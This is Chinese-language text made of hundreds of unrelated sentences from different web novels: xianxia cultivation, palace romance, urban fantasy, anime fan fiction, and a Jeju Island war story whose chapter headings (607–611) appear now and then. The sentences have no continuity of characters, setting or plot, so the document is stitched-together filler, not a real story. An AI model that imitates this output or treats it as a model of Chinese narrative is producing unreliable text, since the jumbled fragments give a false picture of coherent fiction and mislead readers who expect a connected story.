祝向红好不容易积攒起来的火气,瞬间被扑灭,连一缕烟都不敢冒出来。 最主要的是,想要隐藏也隐藏不住!正因如此,今日才带着金十三来到此地。倒也是没有受到太大的阻拦。 布莱泽猛地咬紧了牙齿,缓缓走到了赫比的身体旁边,单膝跪了下来。他无比的冷静,伸出手触碰赫比的脸颊,然后顺着脸颊滑到了纤细的脖子。 原来,之前处理完了宗门之内的事情,想到叶婉云还在这边,王昊便是绕过来看看。谁知道……好像,现在的他不适合出现在这边? 霍明奇的话虽然说得难听,但也没说错,霍远琛可不就是跟她玩玩么,而且打发她都不需要给钱,只要几盒药,相当划算。 其他人听了只乐,说老板不在场大家只会更开心,林春晓也很能理解,老板嘛,不管是工作还是应酬肯定都要更烦一些。 丁老四殷勤的,把林正阳安排到板凳上坐好,刚要转身离开,却被林正阳给喊住。 最起码,对于没有见识过周山出手的人们,田不二的出现,让他们满心震撼。 林春晓无奈地笑笑,拍了拍梁祺静的肩膀,跟着梁祺生走了出去。 我抬眼望去,他却并没有看我,逆着光,微垂着眼睫,表情看不真切。 陆晨每天只能和宫次郎战斗两次,如果两次挑战全部失败,只能明天再来,或者干脆在山洞里住一天,等待第二天的到来。 车管所落实车辆的相关信息。交警指挥中心和警务指挥中心,通过交通摄像和治安监控,追踪车辆离开机场后的行驶路径。 同时,吴雯雯的心里也逐渐的埋怨起自己的妈妈吴静起来,此时确实是放学了又一会了,自己的同学都走的七七八八了,可惜妈妈还是没有来。 以他如今金仙三重天的修为,祭吞天炉收几个刚入仙王境的强者,已经不是什么难事了。 “您抱着也累了,给我吧。”一直在旁边没有说话的男人终于开口了。 人类之所以称为人类,就是因为精神的高贵,品格的优雅。这些就是将人类的伟大塑造出来的东西。 想到凌月仙姬她们追随自己,放弃了在火影世界成为至高神明的幸福,jozo便觉得,或许究极生物的生活里应该需要这样能够分享的对象。 那时候,他们也参加了这场婚礼。只不过那个时候家里是真的穷,他们拿得出手最好的衣服也是粗布,是林云静给裁的衣服,连新衣服都不是,但是却是他们能拿得出手最好的衣服了。 没想到张驰骏竟然就是凤鸣酒楼的东家,那孙掌柜出现在这里也就不奇怪了,这是汇报工作来的。 第一卷 第607章 逼近济州岛 济州岛上,德川嘉信坐在中军大帐之中。 就在这时,仿佛通过了一个无形屏障般,原本空旷的太阳系旁边,竟然真的出现了星路图上所标注的行星系。 昊的愤怒吼叫依然如在眼前,那道代表他存在的光芒此时闪烁不停,他们知道这是昊真的不惜代价要降临此处,完全的真身,那不知道多久没有动弹过的真身。 事情到了这一步已经在完成了三分之二,接下来就是找到一个时空坐标点,而后将这个世界放置进去。 想要得到更多父爱的洛基马上找到了奥丁,请求与托尔一起去办这件事情,但奥丁拒绝了。 紫金魔龙一个大甩尾,空气直接被其抽爆,白色的空气涟漪汹涌而起。 到了下午,琅华知道了所有事,王其振暗中埋伏,将那些马车都扣了下来。 假如能够击杀这头青龙,光是它的尸体,就是对华夏一次宝贵的财富。而且,不光光是这头青龙,可以说所有的进化兽尸体都是一比宝贵的财富。可以说,只要成功度过末日,华夏必将迎来一个质的飞越。 现在它们之间的精神力连为一个整体,身体上散发出白茫茫的毫光,似乎在释放着什么强大招数。 正当找到赵大鹏转身准备回去再坐会儿的时候,曾逸凡这么一说,差点没把他吓一个踉跄。 在火之国边境东北方向,汤之国境内,上万名木叶忍者和云隐忍者彼此混战厮杀。鲜血染红了大地,到处都是尸体,大自然鬼斧神工的美丽景色被忍术破坏的一干二净,喊杀声响彻天空。 燕州陆家,难不成正是瑜光宗门下的那个陆家?这陆成坤倒不怎么耳闻过。 不知道为什么,夜紫菱总感觉经历了这一次的劫难之后,唯一的受益人是雪梨。 因为田恬是班干部的缘故,所以对于她所说的话儿,我觉得可信度还是很高的。 洛敏风这时也发现了,问:“哎,冰脸去哪了?从昨天就没看到她人?”众人望了望,皆摇了摇头。 在看到楚相思手腕上,浅浅红痕的时候,君无疾眼睛里面的清冷立即散开,有些懊悔。 凌赤眼睛微眯:“这道掌风与其他烈风好不相同!”凌赤抬眼一见,只见得菊花修罗和荷花修罗还在不住朝着“风云大轮阵” 出掌,心中也渐渐有了底气。 冥肆被我这突然的大喊大叫弄的不知道怎么回事儿,随即才反应过来,我说的是原本还摊在床上的我,现在已经消失不见了。 “她的秘密,不希望我们知道太多,她不会对我们不利。”季言墨没有解释太多。 云炽终于松懈了下来,她相信蛟说得到就一定做得到,但她也暗吁了一口气,暗道自己的性命算是暂时保住了。 他伸手抓住了永安的手,直接急步走向了苏锦,眸子里是近乎祈求的期待。 顾珏清没有接受过那样严酷的训练,风吹日晒雨打对她来说,并不是那么好承受的。 那些变异飞禽看起来和麻雀有些相似,但体型要大的多,而且爪子和鸟喙都锋利异常,甚至可以将枪械损坏,更别提脆弱的人类身体了。 第一卷 第608章 火烧连营 如道尊,尽管冷酷无情,但确实心存对人族的执念,是以一身浩然正气纯粹滂湃,强横惊人。 他将所有玉浆灵液分作五份,其中一份相当于两份,用当初从花间秘境获得的瓶瓶罐罐装着,算是物尽其用,正好用来容纳液体,拿出来分给曾老、蛟藤婆婆等人,他自己留下一份。 人类道士的几具纯神体化身,早已让千冰垂涎欲滴,他就好这一口。 二人抬头,只见顶上早已不见了天色,只有周天的星辰在缓缓的发出银光闪耀。 陆虞想要知道沈言衾察觉到了什么,所以她就自然而然地看向了沈言衾。 塔克拍了他弟弟一掌,他的性格比塔鲁沉稳,岁数也大了好几岁,在一旁听着无敌与塔鲁的对话,就已经明白了无敌的意思。 当下也不与人言,引了自家的压粮兵三千余人飞马出阵,前去曹州军大营外溺战,军中将官阻拦不及,只得报于苏护。 东方不智虽然魔法潜力不高,但是他自幼力气大,和人握手的时候,从没有吃过亏,这一次他使出了全力,把这个刚才给他出过丑的阿尔握得是死去活来的。 现在在台上,都已经光明正大地挽着方舟胳膊了,还有什么事情是她做不出来的? 这一拍之下,眨眼就将遁进中尸神和下尸神里的两个大鬼给震出去了。 “你爸爸叫什么名字?”权墨一边检查着他的坐姿一边问,声音冷冽,让人没由来得觉得寒冷。 沈世林说完,将手中的玉坠往桌上一扔,桌上发出一声沉闷,他脸上虽然没表现什么,可那枚扔在桌上的玉坠显示了他的不悦。 不对呀!这样的身材,吃了就睡才能长出来的吧?能是训练的吗?你能够想象一位目测两百多斤的大胖子其实热爱运动,天天锻炼身体吗? 白须老者似乎早就忍不住了,举杯就喝了下去,喝完似乎还没尽兴,又给自己斟满了一杯,独饮了一次。 首先是夜如风与夜如松被赤魅儿留下的精神印记斩杀,其次,石鼎困住了傀儡战神,程凌宇得到了赤魅儿送给他的黑色枯爪,这两样都是好东西。 人应该就是从‘洞’里出来的,接着刚出‘洞’,就遇见了这么一条怪蛇。 张良等人的面色都是有些僵硬,但看扶苏等人一副事不关己的模样,哪里还会不知道根本是默许,分明是因为魅儿拦住晓梦而留下的后手。 陈桓眼眸一缩,手中的霜灵剑已然是刺了出去,直接桶向那个扑过来的人影。 没人回答,他神经微微绷紧,今天为了来接简安宁,他身上,也没有带手枪或者管制刀具之类的东西,他想了想,微微低头,用指纹,开启了在后座下的一个暗藏的暗格,从里面,掏出一把枪来。 原本就被怜月仙子抵消一部分力量的掌力,在元尘全力一剑面前也算不得什么,化作天地灵力消散。 气海在两枚天君印玺的冲击下瞬间释放出汹涌的君王灵力,几乎还不等元尘作出反应,他的修为便是突破了境界的瓶颈,来到了二印天君的层次。 与此同时,在劳斯莱斯里负责开车的叶岚,则是忽然之间感到了一阵强烈的晕眩感觉,不过,也只有短短几秒钟左后的瞬间,几秒的时间过后,他发现身后那辆可疑的凯迪拉克XTS已经是消失不见了。 “老东西,一而再再而三的找我麻烦,你真当我性子好是吧?”嘴角轻扯,林然脸上露出了冷冽的弧度。 不是说他们不死,而是历史上没有记载过他们具体的死亡时间和原因。 在海水中行走,与陆地不同,海沟、海岭的越过是非常简单的,就像陆地的大鸟越过高山峻岭一样,翻过海沟,前方出现了一道巨大的海岭,这道海岭像是一道山脉,有近百里长,高达百丈,山势陡峭,上面长满了苔藓。 楼梯,到了最底层。只不过,在这个地下墓穴的最底层,已经没有了任何的人工建筑的痕迹。附近也没有任何的新娘的尸体或者是作为祭品的尸体,周围只是一片萧索和寂静。但是周围却无处不充斥着死亡的气息。 有喜、怒、悲、愤、哭等不同的表情,而它此刻靠着那些手臂,不断的在地面上蠕动着,由于是靠着那些肿胀的手臂趴在地上爬过来的,所以难怪听不到它接近的声音。 而就在这个时候,房间里面的灯又再度的开始忽明忽暗了起来,而按照之前的经验判断下来,电灯都是会在闪烁一会儿过后熄灭,而熄灭了以后,就是鬼魂开始杀戮的时候了。 狄云枫开始猛烈地干咳起来,但这都是他装的,包括他咬破舌尖溢出的鲜血。 刘芳心乱如麻,都不知道自己是怎么离开的家、怎么去的学校,直到走到学校的大门口,她才忽然回过神来。 她有那权限知道在墨家发生的任何事,更是知道他们对她有多担心。 如此楚卿然不禁陷入沉思,姜峰在异世界待了十万年,十万年多么漫长的一段时间,虽然没听姜峰提起过,难道姜峰在异世界真的没有一个红颜知己,没有一个所谓的前任? 每粒一百两,比普通气血丸贵了三倍,平头百姓想要买一粒,得花三个月的收入,怪不得穷人在武道上走不了太远。 看着戴在手上戒指,他心里乐呵呵的又口不择言,惹的他义父一顿臭骂。 “我可没工夫和你开玩笑,来不来都由你。”狄云枫跳下马车,自顾朝宋达走去。 开玩笑,敢动他墨煜珩想要护翼的人,管那人是谁,绝对都是欠收拾。 第一卷 第609章 大和主帅,德川嘉信 与此同时,华曦也一下子脱力地跌坐在地上,捂着脖颈上的魔印,气喘吁吁。 沈崇名也瞧出了熊大彪对陈海的敌意,可是这种事也没法直接当着两人的面解释,不然会给人一种虚假的感觉。所以他只是对着陈海苦苦一笑,相信自己的意思他能明白的。 “哼,我阿达和各位族人深信朝廷的大官们是知晓道理的,來呀,砍了他!”阿达怒气冲冲的说道,这时候了他竟然还敢依仗朝廷來欺压族人,着实该死。 “不怕大冬天里出人命,你就把他撵出去。”朱玲知道老妈是典形得刀子嘴,豆腐心,可还是忍不住红了眼圈。 骆驼的枪又响了起来,一个庞大的黑影从通道顶部掉了下来,这个战士已经说不出话来了,神智已经不清楚了,再问下去也不再会有什么结果。 结果自然不用多说,简直称得上是相距十万八千里,一炮下去险些把另一艘船上焦急的注视着九鬼嘉隆的渡边正雄掀下海去。 我把油门踩到最大,在我们前面不远就是一辆轿车,我把车子靠近,示意他们停车,可轩辕天骄纵身一跳,已经跳到对方车顶,猛地一锤向下击去,他一拳竟然把车顶打破,司机只好紧急制动。 现在,和红虺兽战斗显然不是明智之举,姬玥大人应该立刻离开,找一个地方修炼。 但这一次,虽然各个富户一是大出血了一番,但却是自愿为了竞夺那二十个名额,却也没法说多说什么了。 周围的树木,泥石,竟然在此刻,犹如受到了无形的力量压迫,炸裂开来。 那探子领命而去,云烈暗中思忖,这兰陵城有柳州,凉州,雍州,金州四洲拱卫,而金州更是大唐天下粮仓之说,虽然如今金州已被赵国夺取,但是丝毫不影响粮仓之说,因为唐国历年的屯粮皆放于此处。 “恩!这里已经不安全了,你抓紧时间回去吧!先回到医馆,躲避一下。”厉长风吩咐暗卫先将皇后娘娘送回去。 以凤凰集团如今的体量,外界对凤凰集团的估值不下八千亿。银行、地产、芯片、金融、优步等等,这都是很值钱的生意。 姒芒,姒湘,姒隗看着已经死去的姒太康,姒中康,姒邵康三兄弟。 听到史林的话,赵媛媛下意识扭过头翻了他个白眼,似乎在说,我们说话,你插什么嘴。 “当初宗政帝国兵多,但是战斗力极差,不然蒙古静娴不可能五万人马把完颜霹雳杀了近四十万大军,但是宗政帝国的元帅和大将多如牛毛,猛将如云,正所谓千军易得,一将难求。 说实话这还是他第一次豪掷花几个亿来泡妞。大美圆的那部剧是一个亿的投资,热吧的剧走奇艺TV的制作,预期投资不会低于4亿,毕竟热吧现在是顶流。 这个位置简直再合适不过了!厉之慎一笑,拿手中的石子对准前方人的手肘一弹。 “因为要叫你知道,我也是不喜欢在背后诋毁别人的温润君子!”魏寒一本正经回。 毕竟车里还坐着他正宗的未婚妻,就算男人可以犯浑不在乎,她易苏苏也不能再莫名其妙的被人诟病。 李星沅所交代的这三个进攻方向,分别位于紫荆山区的东,南,北三个方向。 神秘人双手持物,脚步轻盈,特意避开了客栈伙计的卧房,在夜色下悄然行动,他肩负行囊,好似将要远行。 而且,如果记忆没错的话,这家伙本是射击运动员,在92年西班牙奥运会上,就是因为遗传病发作才导致错失金牌,随后便退役做了杀手。 不过黎雾虽然说算了,但并没有马上回城,而是与众人一起在这无熊的山谷搜刮起来。 所幸洪兴在油麻地那边好像没有堂口,这件事应该和洪兴扯不上关系。 四层桥面交汇处是一座平台,一口巨型大锅盛满了乳白色的浓汤,在铁锅下面的绿色火焰加持下,咕嘟咕嘟冒着泡泡。 随手掏出颗高爆手雷,不慌不忙打开保险,拉开后先附灵,然后往对面丢过去。 神识一扫,发现洪荒中除了妖族和部分巫族外,诸多紫霄红尘客,以及新晋的大罗修士。 只见会议室里,十几名股东,其中有一半左右都是外国人长相,只有七八个亚洲面孔。 而那个男同学,被扇一巴掌时没哭,一听说分手立马哭了。还哭得十分伤心,稀里哗啦的,简直有点死去活来的意思。 不能,这是她的回答,她想过寂寂无声的死去,但是真到了死亡面前的时候,她才知道,死亡,不是她想要的结果,她想要的,是不再被人操纵和摆布,她要得到她想要的一切,秦朗,家庭,事业。 慕筱夏在睡梦之中,好似是有所察觉一样,往欧聿夜的怀抱中缩了缩。 他是不是知道了什么不该知道的东西?那东方衍那边还要不要去报告? 这一份任务并不轻松,可是他却早已习惯。在零号大人的指示下来到了隐蔽的森林处,迎接他的队友。 汤山没什么心思听她絮叨,却并不怎么抗拒手挽手。甚至还挺享受那种依偎着散步的感觉。 几个呼吸后。楚羽拔出了剑柄。而那已经干枯的大树,在一阵剑芒之后倒在了地上。在简单的试剑后,楚羽也是偷偷开始了自己的练习。 “罢了!慕容家与我王家不薄,就放她们一马吧!”李青萝身后一拦,淡淡的说道。现如今此人才是重点,若是轻重不分,很可能被此人有机可乘。何况若要追究,不是还有来日方长么? 第一卷 第610章 连战告捷 “是是,我以后一定会注意的,晓茹姐,你真好。”苗轩轩马上讨好的挽住了宋晓茹的胳膊。 想到他们手上还拿着李白为他们写的一首歌,内心不由变得炽热起来。 不过理是那个理,两人还是不放心,还是让愚啸天将天瓜找来说道说道。 回到家找了找,最后乔禹彤还是穿了一身休闲装,不过还是硬着头皮,化了一点淡妆,这才出门来到了约好的饭店。 “既然如此,那在下就却之不恭了。”洛星宇点点头。答应下来。 那自己不仅仅可以让生命本源晶体打破24次极限,而且还能让自己的法力得到一定的提升,战力自然也就能暴涨。 白玉宸和月轩彤站在一旁,早已经呆住了。这些传说中的灵婴期弟子,无论是身份还是地位,都是高高在上的存在。 “如果不把人造人引开,这些人就遭殃了。”悟饭皱着眉头说道。 刚一出口,就感到身后射来一道犀利的目光,心里叫苦道:不好,有谍鹰。正想疑神感应身后的是何人驻目,然而,那道犀利的目光早已消失不见。 “那就要你说的这辆吧,刷卡可以吗?”李白不想让冷若冰太过尴尬,看她的脸红的,都可以开染坊了。 而火舞元气炉当中,发出霹雳的响声,三枚蓝色的丹药,犹如昊日一样,轰鸣当中,爆发更大的神光,冲出丹炉。 其实所有人都不知道,这个神仙也是个主播,不过他是一个LOL的主播,现在绝地求生有很好的前景,他也想转型做吃鸡主播。 可就在林玄想要回头的时候,林玄就感觉上空低落巨大的液体,林玄的脚下出现一道巨大的影子。 金銮殿内外伺候的人很多,呼啦啦啦一下子涌进一大帮,黑压压跪了一地。 不知怎么的,木辰总觉得这个老总说话阴阳怪气的,仿佛是故意带他上来入这个局的,里面似乎有某种无法言喻的东西。 到了一个距离白日梦直接出动,邪铭他们伪装成叛军的样子,为白日梦制造掩护。 萧暮雨知道雨归的异能早已觉醒,实力远比荷想还恐怖,更加之她身后拥有整个极北地域,她若来找自己,自己根本就没有活路。 因为这里是沙漠的原因,所以米歇拉这个精通木系的灵族角色,无法再这里使用木系技能。 当初,曹操将她许配给刘协时,她也反对,认为刘协是无用之人。但是,她怎么能违背父亲之命,最后还是嫁给刘协,后来发现并非自己听到的那样,真实的刘协有谋略,可惜没有足够势力支撑,她的心渐渐与夫君在一起。 那些伤口恢复是恢复了,但是疼痛一点也没减少。他们的战斗力可下降了不只一星半点。 不过叶枫不知道的是此番入尘,对于他日后的修为有着必不可少的作用,这也是他必须要经历的一番劫数。 于是乎,屏障很容易就被三人联手打破了,众人也看到了光幕的另一边,一座宏伟的大殿正坐落于此,相比于外面满是尘土的遗迹,这里由于有光幕保护,除了一开始的一股刺鼻的味道外,并未像想象中的那么糟糕。 毕竟能够闹出这般大阵仗的人自然也就只有超脱境的存在了,而人族之中再出一位超脱境强者,自然是他们乐于看见的。 何曼姿点了点头,话是这么说,可是真正的我行我素又有多少人能做到呢? 闪现才刚刚冷却好不久的锤石直接果断交出闪现和沐璟的卢锡n近距离,紧跟着直接技能厄运钟摆命中沐璟的卢锡安扯回来,紧跟着技能死亡判决直接果断出手。 叶枫知道,只要他再服一颗聚神丹,修为马上就可以直接晋升到神婴期后期。 对于这样的事情,东皇太一自然不会阻拦,毕竟他原本的打算就是将羽皇引到吕岳那边,如今她既然自己过去了,也算是将他解脱了出来。 “百货大楼和银行是什么?”一位头发花白的衣服上有几个补丁的老头子问。 如今,时过境迁,他们连靠近江东的胆量都没有了。当然,江东早就不在把他们放在眼中,高度不同,能入眼的事物也不同了。 隐隐的,似乎听见了一声痛苦的哀嚎,血骷髅的材质虽然坚韧无比,但其内部却仿佛孕育着一个生命,夹杂着无数生气血气,缠绕在利爪间的死光,正是这些生机的克星,轻易的便泯灭了大片,给血骷髅造成了伤害。 他缓缓叹息一声,走到罗铭面前,指尖托着杯壁,昳丽夺目的脸庞在烛光的映衬下,竟带有几丝鬼魅的意味。 第一卷 第611章 转战东渡口 济州岛北渡口。 这眼看着就把曹昆吃定,洪家的宝贝公路就要到手,到时候私底下分账不香吗? 从外面目测,永久观众席座位就有八万个,临时观众席座位就有两万个,足足可以容下十万人。 而且,根据前两部剧的经验来看,大家都以为他会翻车,但都是大爆。 程境凌还是更加相信诸天万界的武道体系,所以,即便此时是一本地级上品功法摆在面前,程境凌也没想过转修本世界武道体系。 齐紫霄目光冷漠,脑海之中的红色宫殿内,关押灵骰的门户打开,被无忧一把抓住,直接吞了下去。 就是那个纹身,让他动了心思,带他到地下城的大门处,发现了他可以自由出入。 张焘缓缓地在庭院中散步,已经是三月末,庭院中一株百年梨树正在开花,洁白的梨花缀满了老树的枝丫,随风送来淡淡的香气。 那红色灵果是他的解药,被自己吃了,而他找到自己的第一时间就是来吸自己的血,莫非吃了那灵果后,自己血就成了他的解药? 后来千仞雪又觉醒了先天满魂力20级,加上她是天使一脉的传承人,所以他当初就知道,千仞雪是双生武魂,他没有把这件事情报上去,而是隐瞒下来了。 随着大阿哥婚礼的圆满,正月里的节庆喜宴告一段落,皇帝依旧忙于朝务,然三四日后,突然传下旨意,欲于二月奉太皇太后、太后迁至畅春园居住。 难道你不知道,我是来看你的吗?难道你不知道,我是因为你,所以才冒着生命的危险,出现在你的面前的吗? 说完,冯伟天也不愿意继续留着,坐在这里看叶思贤的脸色,连忙起身离开。 二人静静说笑,岚琪奉茶磨墨,陪着他处理了好些事,阿哥公主自皇帝进门,就被他打发去钟粹宫照顾,皇帝有心来躲半天清静,连孩子们都不愿被打扰,但傍晚时分四阿哥从毓庆宫回来,父子俩倒见了面。 百里天长已经无法用人类的语言来形容她眼前所看到的那一幕了。 八贝勒府里,胤禩刚大汗淋漓地从张格格身上爬下来,由她伺候着收拾干净后,便裹了被子睡过去。 “怎么才出来?”黑鹰一见王彩君跟着江妈妈走了出来了,连忙将手中雪白的狐狸大氅抖开披在了王彩君的身上。 百里燕池不停的想要去打压污蔑郦香雪的名声,偏偏夜晚一言一语处处抬高,机锋相对,可谓是棋逢对手。 最高的是帝境三阶中级,最低的也是帝境二阶,七人在海家的地盘上也算是赫赫有名,不过是艳名。 “奇物志上早就有这个名字,彩君可没那么大的本事起了这么好听的名字。”王彩君笑着说道,不知道为什么王飞远今天看自己的目光却是好像是X光扫描一样。 这个世界上,只有项樱是绝不会欺骗赵显的,因此项樱说她平安,赵显便相信她是平安的。 而一旁的宁夜,听到基友的话,也顿时秒懂了什么,下意识地握了握那只胡来的左手。 说着,身为大哥的战斧壮汉手臂一挥,将自天外天尊上提取出的有关于宁夜的记忆用光幕展现出来,以便大家观看。 “多谢前辈救命之恩!”就在这时,一阵山呼海啸般的呼声响起。原来,正是从生死之间反应过来的众多修者,齐声向龙行道谢。 淡淡的红色在石板最下方出现,然后像宣纸般不断晕染,当红色从淡红逐渐往上变成深红之后,猛地戛然而止,一抹浅浅的橙色出现在了。 古岳目光阴冷的瞪视着宇流明,他看着对方摆出一副云淡风轻的模样心中恨得牙痒痒,差点就忍不住当场扑上去将宇流明碎尸万段为自己儿子报仇。 一行人从镇里出来沿着旷野缓缓而行,当他们走进一处灾民聚居点一股绝望的氛围瞬间便将所有人都尽数包围。 惨绿色身影虽然打碎了大景皇主分神这个障碍,可这稍稍的阻挡终究还是令后面的强敌追了上来。 就这样安安稳稳的过了几天,西南仍然视她为无物。其实,陆夏觉得,西南是视所有人为无物,并不是针对她一个。 ”那我还要去京城找他么?还要去么?“凌语珊心里矛盾了,眼里泪水止住,目光变得呆滞起来。 夏雨琳和沐瑛皆睁大了眼睛,眼睛在烛光里闪着绿光,像魔鬼一样:他们可以打他吗?可以吗? 她坐在浴桶里,头靠着桶沿,舒服地闭上了眼睛,不一会儿,竟然就打起盹儿来。 “那我们就好好的在这段时间筹备一下,等待着贤妃娘娘的孩子出生吧!”东方默然也笑着说道。 裴馨儿院子里的异常自然没有瞒过其他人的眼睛。尤其是冯氏,一大早就命人紧盯着院子里的动静,这会儿听说裴馨儿将所有人都召了去,便有人一溜烟儿跑到冯氏的跟前,给她通风报信去了。 “你是谁?你在哪?”我谨慎的问道,往前走了一步,竟然带起了白色的涟漪。 主子一连给了她两次脸面,她若是再不领情的话,就有些太不识抬举。因此,花影应声,退出了内殿。 “刀下终?我先弄死这丧门鬼!”他说着就准备把银色符箓再次扔向我这里,我十分着急,因为我的灵魂此刻一动都不能动,偏偏老瞎子还晕倒了,再被这符箓砸一下,我十分确定,我肯定要挂掉。